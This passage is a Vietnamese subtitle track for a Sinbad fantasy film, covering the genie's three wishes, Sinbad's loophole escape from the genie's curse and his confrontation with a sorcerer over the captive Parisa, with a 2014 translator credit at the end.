một khi ngươi cần nó.

00:49:31.930 --> 00:49:35.930
- Một thần đèn thật sự?
- Phải, nô lệ xin chờ lệnh ngài.

00:49:37.520 --> 00:49:41.560
Có thật là một thần đèn cho
ước ba điều khi được giải thoát không?

00:49:41.650 --> 00:49:48.860
Đó là điều họ nói, nhưng...
500 năm trước đây,

00:49:48.940 --> 00:49:56.200
một gã ác độc và bội phản
đã lừa nhốt ta vào trong cây đèn đó...

00:49:56.450 --> 00:50:00.120
sau khi có được điều ước, rồi...

00:50:00.210 --> 00:50:05.250
như vậy vẫn chưa đủ xấu,
hắn dùng điều ước cuối cùng của hắn...

00:50:05.330 --> 00:50:09.550
để biến quyền năng của tôi
thành một cái bẫy...

00:50:09.630 --> 00:50:13.720
dành cho hồn bất hạnh kế tiếp
mà sẽ giải thoát tôi.

00:50:13.800 --> 00:50:19.350
Hắn đã nói rằng người kế tiếp phóng thích
tôi là anh cũng có thể có ba điều ước,

00:50:19.430 --> 00:50:24.400
nhưng rồi hắn đã thêm vào
một điều kiện kinh khủng khác:

00:50:24.500 --> 00:50:31.200
Người đó phải chết trước bình minh
trong ngày giải thoát tôi.

00:50:31.250 --> 00:50:36.200
Vậy, ngươi phải nói cái gì
bây giờ đây, Sinbad?

00:50:43.460 --> 00:50:46.420
Vậy thì tôi sẽ không xin
điều ước nào hết, Thần Đèn Vĩ Đại ạ.

00:50:46.500 --> 00:50:51.750
Tôi không thể để anh đi mà không có
ba điều ước, Sinbad. Anh biết thế mà.

00:50:51.840 --> 00:50:55.590
Một trong những điều ước đó không thể
đòi hỏi tôi tha mạng anh.

00:50:55.680 --> 00:50:58.200
Tôi sẽ không thi hành điều này.

00:50:58.200 --> 00:51:02.600
Để gặp bình minh hôm nay,
anh thông qua giao ước của tôi.

00:51:02.680 --> 00:51:06.810
Chỉ để tuyệt đối rõ ràng,

00:51:06.890 --> 00:51:11.520
không một lời ước có thể được dùng
để tha mạng tôi khỏi vụ chết oan này?

00:51:11.610 --> 00:51:16.280
Đúng vậy! Một lời ước không thể
được dùng để cứu mạng anh.
Tôi thật sự xin lỗi.

00:51:16.360 --> 00:51:20.000
Nhưng có một người kêu gọi
mà một thần đèn phải trả nợ.

00:51:20.100 --> 00:51:24.000
Vậy, hãy ra điều ước ngay đi, Sinbad.

00:51:25.120 --> 00:51:31.500
Điều ước đầu tiên của tôi...
là ngài phải cứu mạng tôi khỏi vụ chết oan.

00:51:33.750 --> 00:51:37.170
Tôi tưởng tôi đã hoàn toàn giải thích
chi tiết này với anh rồi chứ, Sinbad.

00:51:37.260 --> 00:51:42.000
Một trong các điều ước của anh
không thể được dùng để cứu anh.
Tôi đã nói trước đây rồi mà!

00:51:42.030 --> 00:51:43.600
Thật là lãng phí!

00:51:43.700 --> 00:51:47.800
Giờ chỉ còn lại hai điều ước thôi.

00:51:50.980 --> 00:51:57.100
Điều ước thứ hai của tôi
là được gần Parisa.

00:52:04.780 --> 00:52:09.800
Thấy tất cả đi!
Anh ước điều đó. Phép mầu.

00:52:15.340 --> 00:52:19.920
Thất tất cả đi!
Anh đã đạt được phép mầu.

00:52:21.720 --> 00:52:26.350
- Thế còn Parisa?
- Phải, bên ngoài mấy cánh cửa này.

00:52:26.430 --> 00:52:32.190
Ta chỉ có thể đưa ngươi đến lối vào
chỗ của Kẻ Thần Bí ở đó.

00:52:32.940 --> 00:52:35.400
Nhưng có khác gì đâu chứ?

00:52:35.600 --> 00:52:38.980
Dẫu sao cũng gần đến giờ
anh phải nói lời vĩnh biệt rồi.

00:52:39.070 --> 00:52:44.530
Phải, dĩ nhiên.
Lời ước thứ ba và cuối cùng của tôi là...

00:52:47.030 --> 00:52:50.830
ngài tha mạng cho tôi
khỏi vụ uổng tử.

00:52:50.910 --> 00:52:54.960
Sinbad, giờ anh sẽ phải lãnh
hậu quả của lời... ờ--

00:52:57.210 --> 00:53:02.260
Xin lỗi một chút nhé.
Nó hơi lẫn lỗn một chút.

00:53:02.340 --> 00:53:07.220
Làm ơn, cho một tí thôi, Sinbad.
Cám ơn anh.

00:53:07.300 --> 00:53:11.390
Ba lời ước cho 500 năm.
Trừ một, trừ một...

00:53:11.900 --> 00:53:14.800
Có lẽ, có lẽ không hẳn thế chứ.
Có lẽ, có lẽ là--

00:53:14.800 --> 00:53:17.400
Xin cho thêm một giây nữa thôi, Sinbad.
Cám ơn anh.

00:53:18.230 --> 00:53:21.000
Ngài cần tôi bị lẫn lộn mà,
Thần Đèn Vĩ đại.

00:53:21.000 --> 00:53:25.100
Ngài đã nói một trong các điều ước
của tôi không thể được dùng
để tha mạng tôi khỏi vụ chết oan.

00:53:25.280 --> 00:53:26.600
Nói tiếp đi!

00:53:26.840 --> 00:53:32.000
Ngài chưa hề nói rằng nhiều điều ước
của tôi không thể được dùng để
cứu tôi khỏi vụ táng mạng nào đó.

00:53:35.960 --> 00:53:39.880
Xin thần Titan giáng họa
nếu anh không đúng!

00:53:41.420 --> 00:53:44.920
Điều ước của ngài chính là
mệnh lệnh của tôi.

00:53:48.840 --> 00:53:54.310
Cám ơn anh, Sinbad, vì anh đã giải thoát
tôi khỏi một ngục tối khác.

00:53:55.470 --> 00:53:58.400
Đến đây thời gian của tôi đã gần hết,

00:53:58.400 --> 00:54:04.000
nhưng trước khi nói lời từ giã,
anh không ước cái này sao?

00:54:04.900 --> 00:54:06.150
Không.

00:54:07.610 --> 00:54:13.330
Nhưng không có sách nào
nói rằng tặng một món quà là xấu cả.

00:54:21.000 --> 00:54:22.920
Có giá trị bằng tính mạng đấy.

00:55:08.460 --> 00:55:13.260
Kẻ Thần Bí Trắng,
một lực lượng mạnh mẽ.

00:55:13.340 --> 00:55:17.350
Các đạo quân đã không trở về
từ móng vuốt của nó.

00:56:36.460 --> 00:56:39.340
Ta sẽ giết tất cả bọn ngươi
thêm lần nữa.

00:58:29.780 --> 00:58:34.500
Hay, hay, hay lắm,
Sinbad.

00:58:35.830 --> 00:58:40.920
Cái đó như thể ngươi
còn hoang dại hơn cả một con beo.

00:58:41.750 --> 00:58:44.000
Parisa đâu?

00:59:04.440 --> 00:59:10.000
Trước mắt ngươi đó, Sinbad.
Hãy nhìn đó bên kia kìa.

00:59:12.240 --> 00:59:16.870
Ta có thể thay đổi tình trạng của quái thú
này với chỉ một cái vẫy tay của ta.

00:59:21.540 --> 00:59:26.800
- Sinbad, có phải thật là chàng không vậy?
- Mọi việc rồi sẽ ổn thôi.

00:59:29.050 --> 00:59:30.200
Thả nàng ra đi!

00:59:30.300 --> 00:59:34.300
Ngươi thật vô lý...
để đòi hỏi.

00:59:34.390 --> 00:59:35.800
Ngươi muốn gì đây?

00:59:35.900 --> 00:59:42.770
Vấn đề không phải là ta muốn gì,
mà là sẽ là cái gì.

00:59:42.850 --> 00:59:51.300
Lâu lắm rồi, ta đã yêu cầu một thần đèn
cho ta lời ước có quyền phép vô hạn.

00:59:52.000 --> 00:59:55.300
Thần đèn đó đã gạt ta.

00:59:55.300 --> 01:00:01.330
Hơn thế, pháp thuật của ta bị giới hạn
trong cái đảo này đây.

01:00:01.410 --> 01:00:06.580
Nhưng có một  phép để thay đổi.

01:00:07.880 --> 01:00:13.650
Trong ngày của ngươi sẽ hé ánh bình minh,
đem theo nó một cơn bão,
những khoảng cách vời vợi.

01:00:13.700 --> 01:00:20.100
Một hồn mạnh mẽ như của người sẽ
bùng cháy để tạo ra các việc đáng yêu khác,

01:00:20.510 --> 01:00:26.650
nhưng có chất xúc tác của pháp lực của ta,
làm cho nó ngàn lần mạnh hơn!

01:00:26.700 --> 01:00:28.900
Ngươi thấy không, Sinbad?

01:00:29.000 --> 01:00:35.800
Ngươi là chất liệu thần kỳ...
cho liều thần pháp này.

01:00:35.800 --> 01:00:39.450
Vậy Parisa đã là con mồi
ngươi dùng để dẫn dụ ta đến đây à?

01:00:39.530 --> 01:00:44.330
Ngươi đã đe dọa tính mạng của
người đàn bà mà ta yêu.
Toàn bộ thủy thủ của ta đã thiệt mạng.

01:00:44.800 --> 01:00:48.920
Firooz giống như một cô
em gái của ta, đã chết.

01:00:49.000 --> 01:00:55.590
À, ta biết ngươi coi ta
như một lão ba bị tà ác.

01:00:55.670 --> 01:01:02.220
Hoặc giả... ta là một phần của
sự cân đối thiên nhiên, có chủ đích.

01:01:02.310 --> 01:01:06.730
- Không quá muộn để ngưng
sự điên cuồng này lại đâu.
- Câm miệng!

01:01:06.810 --> 01:01:10.900
Giờ ngươi có một cơ hội mong manh,
và chỉ một cơ hội mong manh mà thôi.

01:01:10.980 --> 01:01:15.900
Giao hồn ngươi cho ta;
nếu không, ta sẽ thả con quái vật ra,

01:01:15.990 --> 01:01:20.950
và kẻ thù của ngươi và
tính mạng của ngươi ở nơi đây.

01:01:36.250 --> 01:01:39.130
- Ta chấp nhận.
- Không!

01:01:43.340 --> 01:01:44.800
Chuyện gì sẽ xảy ra cho anh ấy?

01:01:44.900 --> 01:01:49.180
Hắn thậm chí gia nhập vào ta...

01:01:49.270 --> 01:01:54.500
hay trở thành tên hầu...
khiêm nhượng của ta.

01:01:55.600 --> 01:01:58.440
Đó là sự chọn lựa của hắn.

01:02:02.110 --> 01:02:08.870
Ta có hai điều kiện.
Một, Parisa phải được thả, ngay lập tức.

01:02:08.950 --> 01:02:14.420
Hai, thành phố Malek
phải được để yên.

01:02:14.500 --> 01:02:19.300
Và chỉ khi đó,
ta mới giao hồn ta cho ngươi,

01:02:19.600 --> 01:02:21.300
và thậm chí còn
có thể gia nhập vào ngươi.

01:02:22.900 --> 01:02:26.300
Ta hứa với ngươi.

01:02:26.390 --> 01:02:28.700
Ta hãy hoàn tất vụ này đi.

01:02:32.000 --> 01:02:36.650
Cầm lấy cái này...
và đeo nó quanh cổ ngươi.

01:02:36.730 --> 01:02:43.200
Và buông kiếm của ngươi xuống.

01:03:18.600 --> 01:03:21.610
Tại sao ngươi còn do dự chứ?
Chọn ngay đi.

01:03:21.690 --> 01:03:26.240
Giàu có, một con tầu tốt,
và cuộc sống của ngươi.

01:03:26.320 --> 01:03:29.300
Hay là...

01:03:29.500 --> 01:03:32.750
Một con mồi
liều mạng với pháp thuật.

01:03:41.710 --> 01:03:45.950
- Chọn lựa này dễ thôi, tâu Bệ Hạ.
- Pháp lực!

01:03:46.200 --> 01:03:52.850
Thần chẳng thà thật sự chết còn hơn
sống một đời trống rỗng
dài dằng dặc mà không có nàng.

01:04:09.400 --> 01:04:13.700
Pháp lực là của ta!

01:04:17.600 --> 01:04:18.800
Không!

01:04:19.100 --> 01:04:20.700
Á!

01:04:28.500 --> 01:04:30.600
Ối! Không!

01:04:30.600 --> 01:04:31.900
Ối!

01:04:32.400 --> 01:04:34.000
Không!

01:04:34.600 --> 01:04:35.900
Không!

01:04:41.300 --> 01:04:43.200
Sinbad!

01:04:49.600 --> 01:04:56.000
Có một người đàn bà khác
trong đời ngươi mà ngươi đã yêu:

01:04:56.000 --> 01:04:59.250
Mẹ ngươi!

01:06:50.700 --> 01:06:53.810
Cái đó tuyệt!
Cái khinh khí cầu đó, ta đi thôi!

01:08:20.100 --> 01:08:23.800
Một lần nữa, sự hủy diệt của sự dữ
đã không chỉ ra được...

01:08:23.800 --> 01:08:29.280
cái gì LÀ và sẽ luôn luôn LÀ
sức mạnh sau cùng thật sự.

01:08:29.360 --> 01:08:32.990
Sức mạnh của con tim được phấn khích.

01:08:50.700 --> 01:08:53.350
Á-a-a!

01:08:55.600 --> 01:08:57.400
Á-a-a! Á!

01:08:57.700 --> 01:08:59.100
Á-a-a!

01:08:59.600 --> 01:09:01.320
Không!

01:09:01.500 --> 01:09:02.600
Không!

01:09:04.100 --> 01:09:08.000
Khô-ô-ông-! Á-á-a-a-ạ!

01:09:09.000 --> 01:09:11.000
VictorR - 12/27/2014.

ZeroDay Forums Mini